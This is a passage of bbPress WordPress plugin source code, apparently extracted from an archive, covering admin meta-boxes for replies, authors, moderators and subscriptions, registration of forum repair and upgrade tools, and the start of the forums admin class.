		<input name="parent_id" id="bbp_topic_id" type="text" value="<?php echo esc_attr( $reply_topic_id ); ?>" data-ajax-url="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_suggest_topic' ), admin_url( 'admin-ajax.php', 'relative' ) ), 'bbp_suggest_topic_nonce' ) ); ?>" />
	</p>

	<?php

	/** Reply To **************************************************************/

	// Only show reply-to drop-down when editing an existing reply
	if ( ! empty( $reply_topic_id ) ) : ?>

		<p>
			<strong class="label"><?php esc_html_e( 'Reply To:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_reply_to"><?php esc_html_e( 'Reply To', 'bbpress' ); ?></label>
			<?php bbp_reply_to_dropdown( $post->ID ); ?>
		</p>

	<?php

	endif;

	?>

	<input name="ping_status" type="hidden" id="ping_status" value="open" />

	<?php
	wp_nonce_field( 'bbp_reply_metabox_save', 'bbp_reply_metabox' );
	do_action( 'bbp_reply_metabox', $post );
}

/**
 * Output the topic replies meta-box
 *
 * @since 2.6.0 bbPress (r5886)
 *
 * @param object $topic
 *
 * @return void
 */
function bbp_topic_replies_metabox( $topic = false ) {

	// Bail if no topic to load replies for
	if ( empty( $topic ) ) {
		return;
	}

	// Pull in the list table class
	if ( ! class_exists( 'BBP_Topic_Replies_List_Table' ) ) {
		require_once bbp_admin()->admin_dir . '/classes/class-bbp-topic-replies-list-table.php';
	}

	// Look for pagination value
	$page = isset( $_REQUEST['page'] )
		? (int) $_REQUEST['page']
		: 0;

	// Load up the list table
	$replies_list_table = new BBP_Topic_Replies_List_Table();
	$replies_list_table->prepare_items( $topic->ID ); ?>

	<form id="bbp-topic-replies" method="get">
		<input type="hidden" name="page" value="<?php echo esc_attr( $page ); ?>" />

		<?php $replies_list_table->display(); ?>
	</form>

	<?php
}

/** Users *********************************************************************/

/**
 * Anonymous user information meta-box
 *
 * @since 2.0.0 bbPress (r2828)
 *
 * @param WP_Post $post The current post object
 */
function bbp_author_metabox( $post ) {

	// Show extra bits if topic/reply is anonymous
	if ( bbp_is_reply_anonymous( $post->ID ) || bbp_is_topic_anonymous( $post->ID ) ) : ?>

		<p>
			<strong class="label"><?php esc_html_e( 'Name:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_anonymous_name"><?php esc_html_e( 'Name', 'bbpress' ); ?></label>
			<input type="text" id="bbp_anonymous_name" name="bbp_anonymous_name" value="<?php echo esc_attr( get_post_meta( $post->ID, '_bbp_anonymous_name', true ) ); ?>" />
		</p>

		<p>
			<strong class="label"><?php esc_html_e( 'Email:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_anonymous_email"><?php esc_html_e( 'Email', 'bbpress' ); ?></label>
			<input type="text" id="bbp_anonymous_email" name="bbp_anonymous_email" value="<?php echo esc_attr( get_post_meta( $post->ID, '_bbp_anonymous_email', true ) ); ?>" />
		</p>

		<p>
			<strong class="label"><?php esc_html_e( 'Website:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_anonymous_website"><?php esc_html_e( 'Website', 'bbpress' ); ?></label>
			<input type="text" id="bbp_anonymous_website" name="bbp_anonymous_website" value="<?php echo esc_attr( get_post_meta( $post->ID, '_bbp_anonymous_website', true ) ); ?>" />
		</p>

	<?php else : ?>

		<p>
			<strong class="label"><?php esc_html_e( 'ID:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_author_id"><?php esc_html_e( 'ID', 'bbpress' ); ?></label>
			<input type="text" id="bbp_author_id" name="post_author_override" value="<?php echo esc_attr( bbp_get_global_post_field( 'post_author' ) ); ?>" data-ajax-url="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'bbp_suggest_user' ), admin_url( 'admin-ajax.php', 'relative' ) ), 'bbp_suggest_user_nonce' ) ); ?>" />
		</p>

	<?php endif; ?>

	<p>
		<strong class="label"><?php esc_html_e( 'IP:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="bbp_author_ip_address"><?php esc_html_e( 'IP Address', 'bbpress' ); ?></label>
		<input type="text" id="bbp_author_ip_address" name="bbp_author_ip_address" value="<?php echo esc_attr( get_post_meta( $post->ID, '_bbp_author_ip', true ) ); ?>" disabled="disabled" />
	</p>

	<?php

	do_action( 'bbp_author_metabox', $post );
}

/**
 * Moderator assignment meta-box
 *
 * @since 2.6.0 bbPress (r2828)
 */
function bbp_moderator_assignment_metabox( $post ) {

	// Get nicenames
	$user_ids       = bbp_get_moderator_ids( $post->ID );
	$user_nicenames = bbp_get_user_nicenames_from_ids( $user_ids );
	$moderators     = ! empty( $user_nicenames )
		? implode( ', ', array_map( 'esc_attr', $user_nicenames ) )
		: ''; ?>

	<label class="screen-reader-text" for="bbp_moderators"><?php esc_html_e( 'Moderators', 'bbpress' ); ?></label>
	<input type="text" id="bbp_moderators" name="bbp_moderators" value="<?php echo esc_attr( $moderators ); ?>" />
	<p class="howto"><?php esc_html_e( 'Separate user-names with commas', 'bbpress' ); ?></p>

	<?php

	do_action( 'bbp_moderator_assignment_metabox', $post );
}

/**
 * See who engaged with a topic
 *
 * @since 2.6.0 bbPress (r6333)
 */
function bbp_topic_engagements_metabox( $post ) {

	// Get user IDs
	$user_ids = bbp_get_topic_engagements( $post->ID );

	// Output
	?><p><?php

		// Relationships
		$args = array(
			'include' => $user_ids
		);

		// Users were found
		if ( ! empty( $user_ids ) && bbp_has_users( $args ) ) :
			bbp_metabox_user_links();

		// No users
		else :
			esc_html_e( 'No users have engaged to this topic.', 'bbpress' );
		endif;

	?></p><?php

	do_action( 'bbp_topic_engagements_metabox', $post );
}

/**
 * See who marked a topic as a favorite
 *
 * @since 2.6.0 bbPress (r6197)
 * @since 2.6.0 bbPress (r6333) Updated to use BBP_User_Query
 */
function bbp_topic_favorites_metabox( $post ) {

	// Get user IDs
	$user_ids = bbp_get_topic_favoriters( $post->ID );

	// Output
	?><p><?php

		// Relationships
		$args = array(
			'include' => $user_ids
		);

		// Users were found
		if ( ! empty( $user_ids ) && bbp_has_users( $args ) ) :
			bbp_metabox_user_links();

		// No users
		else :
			esc_html_e( 'No users have favorited this topic.', 'bbpress' );
		endif;

	?></p><?php

	do_action( 'bbp_favorites_metabox', $post );
}

/**
 * See who is subscribed to a topic
 *
 * @since 2.6.0 bbPress (r6197)
 * @since 2.6.0 bbPress (r6333) Updated to use BBP_User_Query
 */
function bbp_topic_subscriptions_metabox( $post ) {

	// Current user subscription
	$input_value = bbp_is_user_subscribed( bbp_get_current_user_id(), $post->ID )
		? 'bbp_subscribe' // maintain existing subscription
		: '';             // do not add or remove subscription

	// Get user IDs
	$user_ids = bbp_get_subscribers( $post->ID );

	// Output
	?>
	<input name="bbp_topic_subscription" id="bbp_topic_subscription" type="hidden" value="<?php echo esc_attr( $input_value ); ?>" />
	<p><?php

		// Relationships
		$args = array(
			'include' => $user_ids
		);

		// Users were found
		if ( ! empty( $user_ids ) && bbp_has_users( $args ) ) :
			bbp_metabox_user_links();

		// No users
		else :
			esc_html_e( 'No users have subscribed to this topic.', 'bbpress' );
		endif;

	?></p><?php

	do_action( 'bbp_subscriptions_metabox', $post );
}

/**
 * See who is subscribed to a forum
 *
 * @since 2.6.0 bbPress (r6197)
 * @since 2.6.0 bbPress (r6333) Updated to use BBP_User_Query
 */
function bbp_forum_subscriptions_metabox( $post ) {

	// Get user IDs
	$user_ids = bbp_get_subscribers( $post->ID );

	// Output
	?><p><?php

		// Relationships
		$args = array(
			'include' => $user_ids
		);

		// Users were found
		if ( ! empty( $user_ids ) && bbp_has_users( $args ) ) :
			bbp_metabox_user_links();

		// No users
		else :
			esc_html_e( 'No users have subscribed to this forum.', 'bbpress' );
		endif;

	?></p><?php

	do_action( 'bbp_forum_subscriptions_metabox', $post );
}

/**
 * Loop through queried metabox users, and output links to their avatars
 *
 * Developers Note: This function may change in a future release to include
 * additional actions, so do not use this function in any third party plugin.
 *
 * @since 2.6.0 bbPress (r6913)
 */
function bbp_metabox_user_links() {

	// Loop through users
	while ( bbp_users() ) {

		// Set the iterator
		bbp_the_user();

		// Get the user ID, URL, and Avatar
		$user_id     = bbp_get_user_id();
		$user_url    = bbp_get_user_profile_url( $user_id );
		$user_avatar = get_avatar( $user_id, 32, '', '', array(
			'force_display' => true
		) );

		// Output a link to the user avatar
		echo '<a href="' . esc_url( $user_url ) . '">' . $user_avatar . '</a>';
	}
}
includes/admin/tools.php000066600000050203151771460310011324 0ustar00<?php

/**
 * bbPress Admin Tools Page
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Output a bbPress specific tools box
 *
 * @since 2.6.0 bbPress (r6273)
 */
function bbp_admin_tools_box() {

	// Bail if user cannot access tools page
	if ( ! current_user_can( 'bbp_tools_page' ) ) {
		return;
	}

	// Get the tools pages
	$links = array();
	$tools = bbp_get_tools_admin_pages(); ?>

	<div class="card">
		<h3 class="title"><?php esc_html_e( 'Forums', 'bbpress' ) ?></h3>
		<p><?php esc_html_e( 'bbPress provides the following tools to help you manage your forums:', 'bbpress' ); ?></p>

		<?php

		// Loop through tools and create links
		foreach ( $tools as $tool ) {

			// Skip if user cannot see this page
			if ( ! current_user_can( $tool['cap'] ) ) {
				continue;
			}

			// Add link to array
			$links[] = sprintf( '<a href="%s">%s</a>', esc_url( add_query_arg( array( 'page' => $tool['page'] ), admin_url( 'tools.php' ) ) ), $tool['name'] );
		}

		// Output links
		echo '<p class="bbp-tools-links">' . implode( ' &middot; ', $links ) . '</p>';

	?></div>

<?php
}

/**
 * Register an admin area repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $args
 * @return
 */
function bbp_register_repair_tool( $args = array() ) {

	// Parse arguments
	$r = bbp_parse_args( $args, array(
		'id'          => '',
		'type'        => '',
		'title'       => '',
		'description' => '',
		'callback'    => '',
		'priority'    => 0,
		'overhead'    => 'low',
		'version'     => '',
		'components'  => array(),

		// @todo
		'success'     => esc_html__( 'The repair was completed successfully', 'bbpress' ),
		'failure'     => esc_html__( 'The repair was not successful',         'bbpress' )
	), 'register_repair_tool' );

	// Bail if missing required values
	if ( empty( $r['id'] ) || empty( $r['priority'] ) || empty( $r['title'] ) || empty( $r['callback'] ) ) {
		return;
	}

	// Add tool to the registered tools array
	bbp_admin()->tools[ $r['id'] ] = array(
		'type'        => $r['type'],
		'title'       => $r['title'],
		'description' => $r['description'],
		'priority'    => $r['priority'],
		'callback'    => $r['callback'],
		'overhead'    => $r['overhead'],
		'components'  => $r['components'],
		'version'     => $r['version'],

		// @todo
		'success'     => $r['success'],
		'failure'     => $r['failure'],
	);
}

/**
 * Register the default repair tools
 *
 * @since 2.6.0 bbPress (r5885)
 */
function bbp_register_default_repair_tools() {

	// Topic meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-topic-meta',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate parent topic for each reply', 'bbpress' ),
		'description' => esc_html__( 'Run this if replies appear in the wrong topics.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_topic_meta',
		'priority'    => 5,
		'overhead'    => 'low',
		'components'  => array( bbp_get_reply_post_type() )
	) );

	// Forum meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-forum-meta',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate parent forum for each topic and reply', 'bbpress' ),
		'description' => esc_html__( 'Run this if topics or replies appear in the wrong forums.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_forum_meta',
		'priority'    => 10,
		'overhead'    => 'low',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_reply_post_type() )
	) );

	// Forum visibility
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-forum-visibility',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate private and hidden forums', 'bbpress' ),
		'description' => esc_html__( 'Run this if non-public forums are publicly visible.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_forum_visibility',
		'priority'    => 15,
		'overhead'    => 'low',
		'components'  => array( bbp_get_forum_post_type() )
	) );

	// Sync all topics in all forums
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-all-topics-forums',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate last activity in each topic and forum', 'bbpress' ),
		'description' => esc_html__( 'Run this if freshness appears incorrectly.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_freshness',
		'priority'    => 20,
		'overhead'    => 'high',
		'components'  => array( bbp_get_forum_post_type(), bbp_get_topic_post_type(), bbp_get_reply_post_type() )
	) );

	// Sync all sticky topics in all forums
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-all-topics-sticky',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate sticky relationship of each topic', 'bbpress' ),
		'description' => esc_html__( 'Run this if sticky topics appear incorrectly.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_sticky',
		'priority'    => 25,
		'overhead'    => 'low',
		'components'  => array( bbp_get_topic_post_type() )
	) );

	// Sync all hierarchical reply positions
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-all-reply-positions',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate position of each reply in each topic', 'bbpress' ),
		'description' => esc_html__( 'Run this if replies appear in the wrong order.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_reply_menu_order',
		'priority'    => 30,
		'overhead'    => 'high',
		'components'  => array( bbp_get_reply_post_type() )
	) );

	// Sync all topic engagements for all users
	bbp_register_repair_tool( array(
		'id'          => 'bbp-topic-engagements',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recalculate engagements in each topic for each user', 'bbpress' ),
		'description' => esc_html__( 'Run this if voices appear incorrectly.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_topic_voice_count',
		'priority'    => 35,
		'overhead'    => 'high',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Update closed topic counts
	bbp_register_repair_tool( array(
		'id'          => 'bbp-sync-closed-topics',
		'type'        => 'repair',
		'title'       => esc_html__( 'Repair closed topic statuses', 'bbpress' ),
		'description' => esc_html__( 'Run this if closed topics appear incorrectly.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_closed_topics',
		'priority'    => 40,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_topic_post_type() )
	) );

	// Count topics
	bbp_register_repair_tool( array(
		'id'          => 'bbp-forum-topics',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount topics in each forum', 'bbpress' ),
		'description' => esc_html__( 'Run this if the number of topics in any forums are incorrect.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_forum_topic_count',
		'priority'    => 45,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_forum_post_type(), bbp_get_topic_post_type() )
	) );

	// Count topic tags
	bbp_register_repair_tool( array(
		'id'          => 'bbp-topic-tags',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount topics in each topic-tag', 'bbpress' ),
		'description' => esc_html__( 'Run this if the number of topics in any topic-tags are incorrect.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_topic_tag_count',
		'priority'    => 50,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_topic_tag_tax_id() )
	) );

	// Count forum replies
	bbp_register_repair_tool( array(
		'id'          => 'bbp-forum-replies',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount replies in each forum', 'bbpress' ),
		'description' => esc_html__( 'Run this if the number of replies in any forums are incorrect.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_forum_reply_count',
		'priority'    => 55,
		'overhead'    => 'high',
		'components'  => array( bbp_get_forum_post_type(), bbp_get_reply_post_type() )
	) );

	// Count non-published replies to each forum
	bbp_register_repair_tool( array(
		'id'          => 'bbp-forum-hidden-replies',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount pending, spammed, and trashed replies in each forum', 'bbpress' ),
		'description' => esc_html__( 'Run this if non-public replies display incorrectly in forums.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_forum_hidden_reply_count',
		'priority'    => 60,
		'overhead'    => 'high',
		'components'  => array( bbp_get_forum_post_type(), bbp_get_reply_post_type() )
	) );

	// Count topic replies
	bbp_register_repair_tool( array(
		'id'          => 'bbp-topic-replies',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount replies in each topic', 'bbpress' ),
		'description' => esc_html__( 'Run this if the number of replies in any topics are incorrect.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_topic_reply_count',
		'priority'    => 65,
		'overhead'    => 'high',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_reply_post_type() )
	) );

	// Count non-published replies to each topic
	bbp_register_repair_tool( array(
		'id'          => 'bbp-topic-hidden-replies',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount pending, spammed, and trashed replies in each topic', 'bbpress' ),
		'description' => esc_html__( 'Run this if non-public replies display incorrectly in topics.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_topic_hidden_reply_count',
		'priority'    => 70,
		'overhead'    => 'high',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_reply_post_type() )
	) );

	// Recount topics for each user
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-topics',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount topics for each user', 'bbpress' ),
		'description' => esc_html__( 'Run this to get fresh topic counts for all users.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_topic_count',
		'priority'    => 75,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Recount topics for each user
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-replies',
		'type'        => 'repair',
		'title'       => esc_html__( 'Recount replies for each user', 'bbpress' ),
		'description' => esc_html__( 'Run this to get fresh reply counts for all users.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_reply_count',
		'priority'    => 80,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_reply_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Remove unpublished topics from user favorites
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-favorites',
		'type'        => 'repair',
		'title'       => esc_html__( 'Remove unpublished topics from user favorites', 'bbpress' ),
		'description' => esc_html__( 'Run this to remove trashed or deleted topics from all user favorites.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_favorites',
		'priority'    => 85,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Remove unpublished topics from user subscriptions
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-topic-subscriptions',
		'type'        => 'repair',
		'title'       => esc_html__( 'Remove unpublished topics from user subscriptions', 'bbpress' ),
		'description' => esc_html__( 'Run this to remove trashed or deleted topics from all user subscriptions.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_topic_subscriptions',
		'priority'    => 90,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_topic_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Remove unpublished forums from user subscriptions
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-forum-subscriptions',
		'type'        => 'repair',
		'title'       => esc_html__( 'Remove unpublished forums from user subscriptions', 'bbpress' ),
		'description' => esc_html__( 'Run this to remove trashed or deleted forums from all user subscriptions.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_forum_subscriptions',
		'priority'    => 95,
		'overhead'    => 'medium',
		'components'  => array( bbp_get_forum_post_type(), bbp_get_user_rewrite_id() )
	) );

	// Remove unpublished forums from user subscriptions
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-role-map',
		'type'        => 'repair',
		'title'       => esc_html__( 'Remap all users to default forum roles', 'bbpress' ),
		'description' => esc_html__( 'Run this if users have issues accessing the forums.', 'bbpress' ),
		'callback'    => 'bbp_admin_repair_user_roles',
		'priority'    => 100,
		'overhead'    => 'low',
		'components'  => array( bbp_get_user_rewrite_id() )
	) );

	// Migrate topic engagements to post-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-topic-engagements-move',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Upgrade user topic engagements', 'bbpress' ),
		'description' => esc_html__( 'Copies engagements from user meta to topic meta.', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_user_engagements',
		'priority'    => 105,
		'version'     => '2.6.0',
		'overhead'    => 'high',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_engagements_rewrite_id() )
	) );

	// Migrate favorites from user-meta to post-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-favorites-move',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Upgrade user topic favorites', 'bbpress' ),
		'description' => esc_html__( 'Copies favorites from user meta to topic meta.', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_user_favorites',
		'priority'    => 110,
		'version'     => '2.6.0',
		'overhead'    => 'high',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_favorites_rewrite_id() )
	) );

	// Migrate topic subscriptions from user-meta to post-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-topic-subscriptions-move',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Upgrade user topic subscriptions', 'bbpress' ),
		'description' => esc_html__( 'Copies topic subscriptions from user meta to topic meta.', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_user_topic_subscriptions',
		'priority'    => 115,
		'version'     => '2.6.0',
		'overhead'    => 'high',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_subscriptions_rewrite_id() )
	) );

	// Migrate forum subscriptions from user-meta to post-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-forum-subscriptions-move',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Upgrade user forum subscriptions', 'bbpress' ),
		'description' => esc_html__( 'Copies forum subscriptions from user meta to forum meta.', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_user_forum_subscriptions',
		'priority'    => 120,
		'version'     => '2.6.0',
		'overhead'    => 'high',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_subscriptions_rewrite_id() )
	) );

	// Remove favorites from user-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-favorites-delete',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Remove favorites from user-meta', 'bbpress' ),
		'description' => esc_html__( 'Run this to delete old data (after confirming successful favorites upgrade)', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_remove_favorites_from_usermeta',
		'priority'    => 125,
		'version'     => '2.6.1',
		'overhead'    => 'medium',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_favorites_rewrite_id() )
	) );

	// Remove topic subscriptions from user-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-topic-subscriptions-delete',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Remove topic subscriptions from user-meta', 'bbpress' ),
		'description' => esc_html__( 'Run this to delete old data (after confirming successful topic subscriptions upgrade)', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_remove_topic_subscriptions_from_usermeta',
		'priority'    => 130,
		'version'     => '2.6.1',
		'overhead'    => 'medium',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_subscriptions_rewrite_id() )
	) );

	// Remove forum subscriptions from user-meta
	bbp_register_repair_tool( array(
		'id'          => 'bbp-user-forum-subscriptions-delete',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Remove forum subscriptions from user-meta', 'bbpress' ),
		'description' => esc_html__( 'Run this to delete old data (after confirming successful forum subscriptions upgrade)', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_remove_forum_subscriptions_from_usermeta',
		'priority'    => 135,
		'version'     => '2.6.1',
		'overhead'    => 'medium',
		'components'  => array( bbp_get_user_rewrite_id(), bbp_get_user_subscriptions_rewrite_id() )
	) );

	// Sync all BuddyPress group forum relationships
	bbp_register_repair_tool( array(
		'id'          => 'bbp-group-forums',
		'type'        => 'upgrade',
		'title'       => esc_html__( 'Upgrade BuddyPress Group Forum relationships', 'bbpress' ),
		'description' => esc_html__( 'Run this if you just upgraded BuddyPress Forums from Legacy.', 'bbpress' ),
		'callback'    => 'bbp_admin_upgrade_group_forum_relationship',
		'priority'    => 140,
		'version'     => esc_html__( 'Any', 'bbpress' ),
		'overhead'    => 'low',
		'components'  => array( bbp_get_forum_post_type() )
	) );
}

/**
 * Output the tabs in the admin area
 *
 * @since 2.1.0 bbPress (r3872)
 *
 * @param string $active_tab Name of the tab that is active
 */
function bbp_tools_admin_tabs( $active_tab = '' ) {
	echo bbp_get_tools_admin_tabs( $active_tab );
}

	/**
	 * Output the tabs in the admin area
	 *
	 * @since 2.1.0 bbPress (r3872)
	 *
	 * @param string $active_tab Name of the tab that is active
	 */
	function bbp_get_tools_admin_tabs( $active_tab = '' ) {

		// Declare local variables
		$tabs_html    = '';
		$idle_class   = 'nav-tab';
		$active_class = 'nav-tab nav-tab-active';

		// Setup core admin tabs
		$tabs = bbp_get_tools_admin_pages();

		// Loop through tabs and build navigation
		foreach ( $tabs as $tab ) {

			// Skip if user cannot visit page
			if ( ! current_user_can( $tab['cap'] ) ) {
				continue;
			}

			// Setup tab HTML
			$is_current = (bool) ( $tab['page'] === $active_tab );
			$tab_class  = $is_current ? $active_class : $idle_class;
			$tab_url    = add_query_arg( array( 'page' => $tab['page'] ), admin_url( 'tools.php' ) );

			// Tab name is not escaped - may contain HTML
			$tabs_html .= '<a href="' . esc_url( $tab_url ) . '" class="' . esc_attr( $tab_class ) . '">' . $tab['name'] . '</a>';
		}

		// Output the tabs
		return $tabs_html;
	}

/**
 * Return possible tools pages
 *
 * @since 2.6.0 bbPress (r6273)
 *
 * @return array
 */
function bbp_get_tools_admin_pages() {

	// Get tools URL one time & use in each tab
	$tools_url = admin_url( 'tools.php' );

	// Filter & return
	return (array) apply_filters( 'bbp_tools_admin_tabs', array(
		array(
			'page' => 'bbp-repair',
			'func' => 'bbp_admin_repair_page',
			'cap'  => 'bbp_tools_repair_page',
			'name' => bbp_maybe_append_pending_upgrade_count( esc_html__( 'Repair Forums', 'bbpress' ), 'repair' ),

			// Deprecated 2.6.0
			'href' => add_query_arg( array( 'page' => 'bbp-repair' ), $tools_url )
		),
		array(
			'page' => 'bbp-upgrade',
			'func' => 'bbp_admin_upgrade_page',
			'cap'  => 'bbp_tools_upgrade_page',
			'name' => bbp_maybe_append_pending_upgrade_count( esc_html__( 'Upgrade Forums', 'bbpress' ), 'upgrade' ),

			// Deprecated 2.6.0
			'href' => add_query_arg( array( 'page' => 'bbp-upgrade' ), $tools_url )
		),
		array(
			'page' => 'bbp-converter',
			'func' => 'bbp_converter_settings_page',
			'cap'  => 'bbp_tools_import_page',
			'name' => esc_html__( 'Import Forums', 'bbpress' ),

			// Deprecated 2.6.0
			'href' => add_query_arg( array( 'page' => 'bbp-converter' ), $tools_url )
		),
		array(
			'page' => 'bbp-reset',
			'func' => 'bbp_admin_reset_page',
			'cap'  => 'bbp_tools_reset_page',
			'name' => esc_html__( 'Reset Forums', 'bbpress' ),

			// Deprecated 2.6.0
			'href' => add_query_arg( array( 'page' => 'bbp-reset' ), $tools_url )
		)
	) );
}
includes/admin/forums.php000066600000064425151771460310011512 0ustar00<?php

/**
 * bbPress Forum Admin Class
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Forums_Admin' ) ) :
/**
 * Loads bbPress forums admin area
 *
 * @package bbPress
 * @subpackage Administration
 * @since 2.0.0 bbPress (r2464)
 */
class BBP_Forums_Admin {

	/** Variables *************************************************************/

	/**
	 * @var string The post type of this admin component
	 */
	private $post_type = '';

	/** Functions *************************************************************/

	/**
	 * The main bbPress forums admin loader
	 *
	 * @since 2.0.0 bbPress (r2515)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->setup_actions();
	}

	/**
	 * Setup the admin hooks, actions and filters
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Messages
		add_filter( 'post_updated_messages', array( $this, 'updated_messages' ) );

		// Forum Column headers.
		add_filter( 'manage_' . $this->post_type . '_posts_columns',        array( $this, 'column_headers' )        );

		// Forum Columns (in page row)
		add_action( 'manage_' . $this->post_type . '_posts_custom_column',  array( $this, 'column_data'    ), 10, 2 );
		add_filter( 'page_row_actions',                                     array( $this, 'row_actions'    ), 10, 2 );

		// Metabox actions
		add_action( 'add_meta_boxes', array( $this, 'attributes_metabox'    ) );
		add_action( 'add_meta_boxes', array( $this, 'moderators_metabox'    ) );
		add_action( 'add_meta_boxes', array( $this, 'subscriptions_metabox' ) );
		add_action( 'add_meta_boxes', array( $this, 'comments_metabox'      ) );
		add_action( 'save_post',      array( $this, 'save_meta_boxes'       ) );

		// Check if there are any bbp_toggle_forum_* requests on admin_init, also have a message displayed
		add_action( 'load-edit.php', array( $this, 'toggle_forum'        ) );
		add_action( 'load-edit.php', array( $this, 'toggle_forum_notice' ) );

		// Contextual Help
		add_action( 'load-edit.php',     array( $this, 'edit_help' ) );
		add_action( 'load-post.php',     array( $this, 'new_help'  ) );
		add_action( 'load-post-new.php', array( $this, 'new_help'  ) );
	}

	/**
	 * Admin globals
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_globals() {
		$this->post_type = bbp_get_forum_post_type();
	}

	/** Contextual Help *******************************************************/

	/**
	 * Contextual help for bbPress forum edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function edit_help() {

		// Overview
		get_current_screen()->add_help_tab( array(
			'id'		=> 'overview',
			'title'		=> __( 'Overview', 'bbpress' ),
			'content'	=>
